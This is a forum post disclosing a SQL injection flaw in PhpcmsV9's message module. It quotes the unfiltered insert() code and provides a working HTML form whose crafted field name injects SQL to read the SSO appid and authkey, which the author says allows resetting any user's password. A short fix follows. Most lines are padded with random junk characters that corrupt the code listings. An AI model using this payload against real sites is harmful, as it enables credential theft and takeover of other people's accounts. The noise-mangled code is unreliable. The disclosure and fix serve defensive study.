找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2359|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
* Q" o* ~" y, Q& f  [" q# z
6 `* F$ y8 i# q第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
( e& q/ C- V0 b6 E; d, g& b; @* A/ S, O/ H" U, ]! U) I5 b
明天再更新下一个漏洞。" @' ?- @4 T$ _+ W
详细说明:
2 F2 ?! `  C& Q* V8 ^$ c5 O5 @在/phpcms9/phpcms/modules/message/index.php中有代码如下:
+ E/ n" D" l9 `9 \
2 y/ A5 v8 e7 W+ u& I$messageid = $this->message_db->insert($_POST['info'],true);% y- f  {$ r9 |* Y$ l
# Z# t8 I8 u$ [' `, b+ c( ~7 @
$ t8 o- _* O; b: D
insert方法是key value的,代码如下:
  i! S: h4 G# t7 J3 m* {) @
( U* H( I! B! A/ j) Bpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
  j4 R) i8 @1 l, Z/ S) `$ r                if(!is_array( $data ) || $table == '' || count($data) == 0) {! W) O' @. j" S' w) _3 n1 v8 S
                        return false;2 O# e' m! v1 G4 y, ^: w
                }
% W  F  ]' h: e$ }- Q5 M, z               
3 Z! p: \( w9 Z4 C; O- {) T- V4 Y                $fielddata = array_keys($data);) j8 u- w$ d) ^4 Z8 U# P2 K- b
                $valuedata = array_values($data);! s! i- O% W/ T) s5 W( O9 N! g
                array_walk($fielddata, array($this, 'add_special_char'));
8 d" z5 V  Q% C+ R0 w                array_walk($valuedata, array($this, 'escape_string'));8 C5 N! ], V2 \4 g
               
, W) N+ ^, S: D  W. i                $field = implode (',', $fielddata);
( J4 e( m5 H9 L/ E/ u( b9 s6 y& M: o                $value = implode (',', $valuedata);+ l3 I: M" J1 [1 a; I
$ i1 j8 {1 v; `0 s( t& ]9 S
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
1 Q8 |- h! w1 x  a$ T% ]/ s                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';5 ^7 S' E; Y% g% `! {" @9 d+ R
                $return = $this->execute($sql);
% k  G9 b# m% Q: R" t6 X0 M                return $return_insert_id ? $this->insert_id() : $return;
4 o5 }) N6 }0 T3 ^        }% H, U. H* s! G( o6 w1 x

. g7 B+ M! N5 [! P0 q0 u7 w" u3 Y  t) l# b+ I; H- L) C/ A9 d
嗯,很遗憾的是
: J$ z5 y# v9 r; V# F# D& _9 O0 p7 Y3 z
array_walk($fielddata, array($this, 'add_special_char'));6 x2 m2 P# O, Z7 g! x
$ u: H. I+ `, L3 `

6 B" V" V' ?) M, p中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
5 r5 K3 A1 W' M! X9 V5 u8 g) [
( s( _3 C/ v) i到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。7 d9 a; J4 a) @
% S: C6 g, C8 y& l! N% O( o2 T
漏洞证明:
* n4 ?* f# Y4 \7 S; i8 V6 P( p读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。6 P. K/ k* ~0 }" T
7 |0 X2 S$ f0 X' a& ]
$ r5 L6 v* p0 [& N! Z
表单如下:用户名什么的得自己改一改。  Q. B/ k8 L% {4 |- e( G# C0 d: Q
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
" F/ {1 ^4 a/ ]8 i' `<table width="100%" cellspacing="0" class="table_form">( b- c5 O" [+ W: W; B
<tr>
, q% D, d. T9 ?/ }% Y% D2 f<th>标 题:</th>8 J6 d6 \2 k# T$ M# x
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>8 z. g* n% `/ v  f* Y* m4 z1 c  R; {
</tr>
& F- X9 C: k# Z9 U<tr>% O# ^" e# H4 Y" K/ G: p
<th>内 容:</th>
) V: B( G- W9 ^7 @7 m<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
! j, i  e, g7 h</tr>
" u8 y2 F  ?# z3 B- a$ d/ |8 O<input type="hidden" name="info[replyid]" value="2" /> & w7 F- u6 {% U3 Y- D
<input type="hidden" name="info[send_to_id]" value="cc" />
  w1 K5 Z% z5 L! V: }; \! l<input type="hidden" name="info[send_from_id]" value="hh">
! x% O& f" ?2 v4 I: Y$ S8 l( o<!-- 漏洞的利用重点在这里开始 -->
' _# o) l7 K- b; A5 @7 _<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
3 m: d) N" y. U3 K$ E<!-- 漏洞的利用重点在这里结束 -->  }( `) i9 A% n/ H; `" V4 P! [3 n
<tr>
$ C) k9 s, H+ V# @3 L<th>验证码:</th>! z' F7 y" ^5 o, @9 Q2 e5 X
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
' o+ s2 @: g( B( z: K9 e3 V</tr>7 @1 I' o. T! ?0 x! G( Z
<tr>5 b9 W9 a9 p) u% Z8 T! l
<td></td>
$ w. p: Z3 e# @5 `- }  R- s<td colspan="2"><label>
3 p# g! ?8 u; m& X) h5 n" i9 R5 X! L<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>6 O( d4 \$ B0 p: }& Y  l# s  i
</label></td>7 v* n9 U* @' w( u
</tr>
" F6 l5 I& ?( I1 b</table>+ ^6 B# E* d  e1 D2 ^# d7 E% `
</form>
) ]$ v4 I( U- ^6 P在add_special_char函数内对key做过滤就可以了。# m3 Q' d1 u' }; k0 T0 M# Y8 `# c$ R
* L: ^8 K! k  J' }, p
0 W# ~# ^5 {6 \2 x+ X

1 n1 ?% N. j/ L/ |) l1 E

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表